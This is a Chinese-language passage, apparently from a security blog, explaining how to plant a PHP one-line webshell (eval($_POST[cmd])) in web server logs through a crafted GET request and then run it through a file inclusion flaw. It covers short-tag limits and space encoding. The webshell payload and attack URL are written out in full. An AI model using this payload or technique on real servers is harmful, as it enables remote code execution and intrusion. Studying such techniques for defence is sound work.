<?/**/eval($_POST[cmd]);/**/?>
这样的GET请求，将一句话木马写入web日志，然后利用文件包含漏洞包含日志得到WEBSHELL，如milw0rm上的这个EXP：
http://www.milw0rm.com/exploits/4029
不过很遗憾，这类情况只能在short_open_tag=on的情况下才能有效，当short_open_tag=off时，PHP将不支持<?/**/eval($_POST[cmd]);/**/?>这样的短语句.
所以我们只能使用<?php eval($_POST[cmd]);?>这样标准语法的一句话木马，但是问题来鸟，语句中有一个空格，类似
http://www.exp.com/index<?php eval($_POST[cmd]);?>.php
这样的提交，WEB服务器将会把空格做HTTP编码转成 写入web日志,如果PHP包含<?php eval($_POST[cmd]);?>这样的语句肯定是不会成功的，所以我们必须把空格真正的写入WEB日志.
>>阅读全文
